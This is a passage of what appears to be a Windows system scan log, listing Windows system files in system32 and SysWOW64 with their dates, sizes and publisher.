2017-03-18 22:58 - 2017-03-18 22:58 - 00058880 _____ (Microsoft Corporation) C:\windows\system32\UserDataPlatformHelperUtil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058880 _____ (Microsoft Corporation) C:\windows\system32\PrintIsolationProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058880 _____ (Microsoft Corporation) C:\windows\system32\ffbroker.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058880 _____ (Microsoft Corporation) C:\windows\system32\CspProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058784 _____ (Microsoft Corporation) C:\windows\SysWOW64\netcfgx.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058368 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Globalization.Fontgroups.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058368 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Cortana.ProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058368 _____ (Microsoft Corporation) C:\windows\SysWOW64\threadpoolwinrt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058368 _____ (Microsoft Corporation) C:\windows\SysWOW64\PhonePlatformAbstraction.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058368 _____ (Microsoft Corporation) C:\windows\SysWOW64\MsCtfMonitor.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058368 _____ (Microsoft Corporation) C:\windows\SysWOW64\l2gpstore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058368 _____ (Microsoft Corporation) C:\windows\SysWOW64\clfsw32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058368 _____ (Microsoft Corporation) C:\windows\system32\srumapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058368 _____ (Microsoft Corporation) C:\windows\system32\RDSPnf.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00058368 _____ (Microsoft Corporation) C:\windows\system32\hcproviders.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058368 _____ (Microsoft Corporation) C:\windows\system32\g711codc.ax
2017-03-18 22:58 - 2017-03-18 22:58 - 00058368 _____ (Microsoft Corporation) C:\windows\system32\devrtl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058368 _____ (Microsoft Corporation) C:\windows\system32\crypttpmeksvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058368 _____ (Microsoft Corporation) C:\windows\system32\BitsProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00057920 _____ (Microsoft Corporation) C:\windows\SysWOW64\wkscli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00057856 _____ (Microsoft Corporation) C:\windows\SysWOW64\whoami.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00057856 _____ (Microsoft Corporation) C:\windows\SysWOW64\vfwwdm32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00057856 _____ (Microsoft Corporation) C:\windows\SysWOW64\Storprop.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00057856 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dxof.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00057856 _____ (Microsoft Corporation) C:\windows\system32\Windows.Shell.Search.UriHandler.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00057856 _____ (Microsoft Corporation) C:\windows\system32\ssdpapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00057856 _____ (Microsoft Corporation) C:\windows\system32\runonce.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00057856 _____ (Microsoft Corporation) C:\windows\system32\mapstoasttask.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00057856 _____ (Microsoft Corporation) C:\windows\system32\ContactActivation.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00057856 _____ (Microsoft Corporation) C:\windows\system32\BluetoothDesktopHandlers.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00057408 _____ (Microsoft Corporation) C:\windows\SysWOW64\cryptdll.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00057344 _____ (Microsoft Corporation) C:\windows\SysWOW64\winver.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00057344 _____ (Microsoft Corporation) C:\windows\SysWOW64\ntlanman.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00057344 _____ (Microsoft Corporation) C:\windows\SysWOW64\iasdatastore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00057344 _____ (Microsoft Corporation) C:\windows\SysWOW64\dhcpcsvc6.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00057344 _____ (Microsoft Corporation) C:\windows\SysWOW64\ConfigureExpandedStorage.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00057344 _____ (Microsoft Corporation) C:\windows\SysWOW64\cngprovider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00057344 _____ (Microsoft Corporation) C:\windows\SysWOW64\BackgroundMediaPolicy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00057344 _____ (Microsoft Corporation) C:\windows\system32\efssvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00057344 _____ (Microsoft Corporation) C:\windows\system32\dwm.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00057344 _____ (Microsoft Corporation) C:\windows\system32\dssec.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00056832 _____ (Microsoft Corporation) C:\windows\SysWOW64\xwizard.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00056832 _____ (Microsoft Corporation) C:\windows\SysWOW64\wecapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00056832 _____ (Microsoft Corporation) C:\windows\SysWOW64\netprovisionsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00056832 _____ (Microsoft Corporation) C:\windows\system32\mdmlocalmanagement.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00056728 _____ (Microsoft Corporation) C:\windows\system32\dwminit.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00056384 _____ (Microsoft Corporation) C:\windows\SysWOW64\CompPkgSup.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00056320 ____R (Microsoft Corporation) C:\windows\system32\mdmpostprocessevaluator.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00056320 _____ (Microsoft Corporation) C:\windows\SysWOW64\SortWindows6Compat.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00056320 _____ (Microsoft Corporation) C:\windows\SysWOW64\RemoveDeviceContextHandler.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00056320 _____ (Microsoft Corporation) C:\windows\SysWOW64\mssprxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00056320 _____ (Microsoft Corporation) C:\windows\SysWOW64\ksxbar.ax
2017-03-18 22:58 - 2017-03-18 22:58 - 00056320 _____ (Microsoft Corporation) C:\windows\SysWOW64\DfsShlEx.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00056320 _____ (Microsoft Corporation) C:\windows\system32\fwcfg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00056320 _____ (Microsoft Corporation) C:\windows\system32\FontGlyphAnimator.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00055872 _____ (Microsoft Corporation) C:\windows\SysWOW64\usermgrcli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00055808 _____ (Microsoft) C:\windows\SysWOW64\cero.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00055808 _____ (Microsoft) C:\windows\system32\cero.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00055808 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.Playback.ProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00055808 _____ (Microsoft Corporation) C:\windows\SysWOW64\POSyncServices.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00055808 _____ (Microsoft Corporation) C:\windows\SysWOW64\l2nacp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00055808 _____ (Microsoft Corporation) C:\windows\SysWOW64\iasads.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00055808 _____ (Microsoft Corporation) C:\windows\SysWOW64\eappprxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00055808 _____ (Microsoft Corporation) C:\windows\SysWOW64\dot3hc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00055808 _____ (Microsoft Corporation) C:\windows\SysWOW64\certenc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00055320 _____ (Microsoft Corporation) C:\windows\SysWOW64\CloudNotifications.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00055296 _____ (Microsoft Corporation) C:\windows\SysWOW64\iscsidsc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00055296 _____ (Microsoft Corporation) C:\windows\SysWOW64\efsext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00055296 _____ (Microsoft Corporation) C:\windows\system32\Windows.Internal.UI.BioEnrollment.ProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00055296 _____ (Microsoft Corporation) C:\windows\system32\dmwappushsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00055296 _____ (Microsoft Corporation) C:\windows\system32\dispci.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00055200 _____ (Microsoft Corporation) C:\windows\SysWOW64\fmifs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00054784 _____ (Microsoft) C:\windows\SysWOW64\fpb.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00054784 _____ (Microsoft) C:\windows\system32\fpb.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00054784 _____ (Microsoft Corporation) C:\windows\SysWOW64\ncobjapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00054784 _____ (Microsoft Corporation) C:\windows\SysWOW64\NapiNSP.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00054784 _____ (Microsoft Corporation) C:\windows\SysWOW64\capiprovider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00054784 _____ (Microsoft Corporation) C:\windows\SysWOW64\cabapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00054784 _____ (Microsoft Corporation) C:\windows\system32\Windows.System.Diagnostics.Telemetry.PlatformTelemetryClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00054784 _____ (Microsoft Corporation) C:\windows\system32\eeutil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00054688 _____ (Microsoft Corporation) C:\windows\system32\mspatcha.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00054368 _____ (Microsoft Corporation) C:\windows\system32\kernel.appcore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00054272 _____ C:\windows\SysWOW64\BWContextHandler.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00054272 _____ (Microsoft Corporation) C:\windows\SysWOW64\bidispl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00054272 _____ (Microsoft Corporation) C:\windows\system32\TapiMigPlugin.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00054272 _____ (Microsoft Corporation) C:\windows\system32\msports.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00053792 _____ (Microsoft Corporation) C:\windows\SysWOW64\SensorsNativeApi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00053760 _____ (Microsoft Corporation) C:\windows\SysWOW64\inetmib1.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00053760 _____ (Microsoft Corporation) C:\windows\SysWOW64\g711codc.ax
2017-03-18 22:58 - 2017-03-18 22:58 - 00053760 _____ (Microsoft Corporation) C:\windows\SysWOW64\findnetprinters.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00053760 _____ (Microsoft Corporation) C:\windows\SysWOW64\feclient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00053760 _____ (Microsoft Corporation) C:\windows\SysWOW64\AddressParser.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00053760 _____ (Microsoft Corporation) C:\windows\system32\vpnikeapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00053272 _____ (Microsoft Corporation) C:\windows\SysWOW64\wtsapi32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00053248 _____ (Microsoft Corporation) C:\windows\SysWOW64\xmlfilter.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00053248 _____ (Microsoft Corporation) C:\windows\SysWOW64\stclient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00053248 _____ (Microsoft Corporation) C:\windows\SysWOW64\pautoenr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00053248 _____ (Microsoft Corporation) C:\windows\SysWOW64\expand.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00053248 _____ (Microsoft Corporation) C:\windows\SysWOW64\ETWESEProviderResources.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00053248 _____ (Microsoft Corporation) C:\windows\system32\TSTheme.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00053248 _____ (Microsoft Corporation) C:\windows\system32\MSAProfileNotificationHandler.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00053248 _____ (Microsoft Corporation) C:\windows\system32\ETWESEProviderResources.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00052760 _____ (Microsoft Corporation) C:\windows\SysWOW64\appidapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00052760 _____ (Microsoft Corporation) C:\windows\system32\Windows.Internal.ShellCommon.Broker.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00052736 _____ (Microsoft Corporation) C:\windows\SysWOW64\wsnmp32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00052736 _____ (Microsoft Corporation) C:\windows\SysWOW64\AuthExt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00052736 _____ (Microsoft Corporation) C:\windows\system32\wsdchngr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00052736 _____ (Microsoft Corporation) C:\windows\system32\ServiceWorkerHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00052256 _____ (Microsoft Corporation) C:\windows\SysWOW64\RpcRtRemote.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00052224 _____ (Microsoft) C:\windows\SysWOW64\esrb.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00052224 _____ (Microsoft) C:\windows\system32\esrb.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00052224 _____ (Microsoft Corporation) C:\windows\SysWOW64\shacctprofile.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00052224 _____ (Microsoft Corporation) C:\windows\SysWOW64\netprovfw.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00052224 _____ (Microsoft Corporation) C:\windows\system32\msscntrs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00051736 _____ (Microsoft Corporation) C:\windows\system32\SensorsUtilsV2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00051712 _____ (Microsoft Corporation) C:\windows\SysWOW64\xolehlp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00051712 _____ (Microsoft Corporation) C:\windows\SysWOW64\takeown.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00051712 _____ (Microsoft Corporation) C:\windows\SysWOW64\rtutils.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00051712 _____ (Microsoft Corporation) C:\windows\SysWOW64\MsRdpWebAccess.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00051712 _____ (Microsoft Corporation) C:\windows\SysWOW64\msident.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00051712 _____ (Microsoft Corporation) C:\windows\system32\CertEnrollCtrl.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00051200 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Background.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00051200 _____ (Microsoft Corporation) C:\windows\SysWOW64\tsgqec.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00051200 _____ (Microsoft Corporation) C:\windows\SysWOW64\ConnectedAccountState.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00051200 _____ (Microsoft Corporation) C:\windows\system32\ByteCodeGenerator.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00050688 _____ (Microsoft Corporation) C:\windows\SysWOW64\wshbth.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00050688 _____ (Microsoft Corporation) C:\windows\SysWOW64\webauthn.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00050688 _____ (Microsoft Corporation) C:\windows\SysWOW64\PrintPlatformConfig.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00050688 _____ (Microsoft Corporation) C:\windows\SysWOW64\adprovider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00050688 _____ (Microsoft Corporation) C:\windows\system32\RegCtrl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00050688 _____ (Microsoft Corporation) C:\windows\system32\jsproxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00050688 _____ (Microsoft Corporation) C:\windows\system32\grpconv.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00050688 _____ (Microsoft Corporation) C:\windows\system32\deskadp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00050688 _____ (Microsoft Corporation) C:\windows\system32\auditpolcore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00050592 _____ (Microsoft Corporation) C:\windows\SysWOW64\luainstall.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00050200 _____ (Microsoft Corporation) C:\windows\system32\iuilp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00050200 _____ (Microsoft Corporation) C:\windows\system32\iri.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00050200 _____ (Microsoft Corporation) C:\windows\system32\dsclient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00050176 _____ (Microsoft Corporation) C:\windows\SysWOW64\UserDataPlatformHelperUtil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00050176 _____ (Microsoft Corporation) C:\windows\SysWOW64\ContactActivation.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00050176 _____ (Microsoft Corporation) C:\windows\system32\NetworkProxyCsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00050176 _____ (Microsoft Corporation) C:\windows\system32\LanguageComponentsInstallerComHandler.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00050176 _____ (Microsoft Corporation) C:\windows\system32\Geocommon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00049688 _____ (Microsoft Corporation) C:\windows\system32\sqmapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00049664 _____ (Microsoft Corporation) C:\windows\SysWOW64\tetheringclient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00049664 _____ (Microsoft Corporation) C:\windows\SysWOW64\mskeyprotect.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00049664 _____ (Microsoft Corporation) C:\windows\SysWOW64\msauserext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00049664 _____ (Microsoft Corporation) C:\windows\SysWOW64\edpnotify.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00049664 _____ (Microsoft Corporation) C:\windows\system32\lodctr.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00049656 _____ (Microsoft Corporation) C:\windows\SysWOW64\msasn1.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00049152 _____ (Microsoft Corporation) C:\windows\SysWOW64\XblAuthManagerProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00049152 _____ (Microsoft Corporation) C:\windows\SysWOW64\PimIndexMaintenanceClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00049152 _____ (Microsoft Corporation) C:\windows\SysWOW64\iyuv_32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00049152 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpapiprovider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00049152 _____ (Microsoft Corporation) C:\windows\SysWOW64\CertPKICmdlet.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00049152 _____ (Microsoft Corporation) C:\windows\system32\ustprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00049152 _____ (Microsoft Corporation) C:\windows\system32\Magnification.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00049152 _____ (Microsoft Corporation) C:\windows\system32\EtwRundown.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00049152 _____ (Microsoft Corporation) C:\windows\system32\deskmon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00048640 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00048640 _____ (Microsoft Corporation) C:\windows\SysWOW64\SyncProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00048640 _____ (Microsoft Corporation) C:\windows\SysWOW64\ssdpapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00048640 _____ (Microsoft Corporation) C:\windows\SysWOW64\ftp.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00048640 _____ (Microsoft Corporation) C:\windows\SysWOW64\execmodelproxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00048640 _____ (Microsoft Corporation) C:\windows\SysWOW64\dot3dlg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00048640 _____ (Microsoft Corporation) C:\windows\SysWOW64\DeviceCredential.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00048128 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Storage.WinRT.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00048128 _____ (Microsoft Corporation) C:\windows\SysWOW64\tzutil.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00048128 _____ (Microsoft Corporation) C:\windows\SysWOW64\IPELoggingDictationHelper.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00048128 _____ (Microsoft Corporation) C:\windows\SysWOW64\fdPnp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00048128 _____ (Microsoft Corporation) C:\windows\SysWOW64\dssec.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00048128 _____ (Microsoft Corporation) C:\windows\SysWOW64\devrtl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00048128 _____ (Microsoft Corporation) C:\windows\SysWOW64\APHostClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00047682 _____ C:\windows\SysWOW64\diskmgmt.msc
2017-03-18 22:58 - 2017-03-18 22:58 - 00047664 _____ (Microsoft Corporation) C:\windows\system32\svchost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00047616 _____ (Microsoft Corporation) C:\windows\SysWOW64\vds_ps.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00047616 _____ (Microsoft Corporation) C:\windows\SysWOW64\ucmhc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00047616 _____ (Microsoft Corporation) C:\windows\SysWOW64\runonce.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00047616 _____ (Microsoft Corporation) C:\windows\SysWOW64\pdhui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00047616 _____ (Microsoft Corporation) C:\windows\SysWOW64\hcproviders.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00047616 _____ (Microsoft Corporation) C:\windows\SysWOW64\dot3gpclnt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00047616 _____ (Microsoft Corporation) C:\windows\SysWOW64\deskadp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00047616 _____ (Microsoft Corporation) C:\windows\system32\tlscsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00047616 _____ (Microsoft Corporation) C:\windows\system32\fodhelper.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00047616 _____ (Microsoft Corporation) C:\windows\system32\dusmapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00047104 _____ (Microsoft Corporation) C:\windows\SysWOW64\srumapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00047104 _____ (Microsoft Corporation) C:\windows\SysWOW64\FontGlyphAnimator.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00047104 _____ (Microsoft Corporation) C:\windows\SysWOW64\acppage.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00047104 _____ (Microsoft Corporation) C:\windows\system32\typeperf.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00047104 _____ (Microsoft Corporation) C:\windows\system32\sscore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00047104 _____ (Microsoft Corporation) C:\windows\system32\ProximityServicePal.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00047104 _____ (Microsoft Corporation) C:\windows\system32\ddrawex.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00047096 _____ (Microsoft Corporation) C:\windows\SysWOW64\kernel.appcore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00047056 _____ (Microsoft Corporation) C:\windows\system32\LockScreenContentServer.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00046592 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.System.UserProfile.DiagnosticsSettings.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00046592 _____ (Microsoft Corporation) C:\windows\SysWOW64\setx.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00046592 _____ (Microsoft Corporation) C:\windows\SysWOW64\fwcfg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00046592 _____ (Microsoft Corporation) C:\windows\SysWOW64\dtdump.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00046592 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmxmlhelputils.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00046592 _____ (Microsoft Corporation) C:\windows\SysWOW64\cmdl32.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00046592 _____ (Microsoft Corporation) C:\windows\system32\XInputUap.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00046592 _____ (Microsoft Corporation) C:\windows\system32\CspCellularSettings.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00046080 _____ (Microsoft) C:\windows\SysWOW64\oflc-nz.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00046080 _____ (Microsoft) C:\windows\system32\oflc-nz.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00046080 _____ (Microsoft Corporation) C:\windows\SysWOW64\net.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00046080 _____ (Microsoft Corporation) C:\windows\SysWOW64\ffbroker.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00046080 _____ (Microsoft Corporation) C:\windows\system32\wfdprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00046080 _____ (Microsoft Corporation) C:\windows\system32\UserDataTypeHelperUtil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00046080 _____ (Microsoft Corporation) C:\windows\system32\rtffilt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00046080 _____ (Microsoft Corporation) C:\windows\system32\regini.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00046080 _____ (Microsoft Corporation) C:\windows\system32\printfilterpipelineprxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00046080 _____ (Microsoft Corporation) C:\windows\system32\perfctrs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00046080 _____ (Microsoft Corporation) C:\windows\system32\msimtf.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00046072 _____ (Microsoft Corporation) C:\windows\system32\utildll.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00045568 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Shell.Search.UriHandler.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00045568 _____ (Microsoft Corporation) C:\windows\SysWOW64\TSTheme.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00045568 _____ (Microsoft Corporation) C:\windows\SysWOW64\olesvr32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00045568 _____ (Microsoft Corporation) C:\windows\SysWOW64\msports.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00045568 _____ (Microsoft Corporation) C:\windows\SysWOW64\hmkd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00045568 _____ (Microsoft Corporation) C:\windows\SysWOW64\hhsetup.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00045568 _____ (Microsoft Corporation) C:\windows\SysWOW64\HelpPaneProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00045568 _____ (Microsoft Corporation) C:\windows\SysWOW64\crypttpmeksvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00045568 _____ (Microsoft Corporation) C:\windows\SysWOW64\cmutil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00045568 _____ (Microsoft Corporation) C:\windows\system32\wmiclnt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00045568 _____ (Microsoft Corporation) C:\windows\system32\Websocket.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00045568 _____ (Microsoft Corporation) C:\windows\system32\embeddedmodesvcapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00045568 _____ (Microsoft Corporation) C:\windows\system32\DdcComImplementations.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00045461 _____ C:\windows\system32\hypervisor.mof
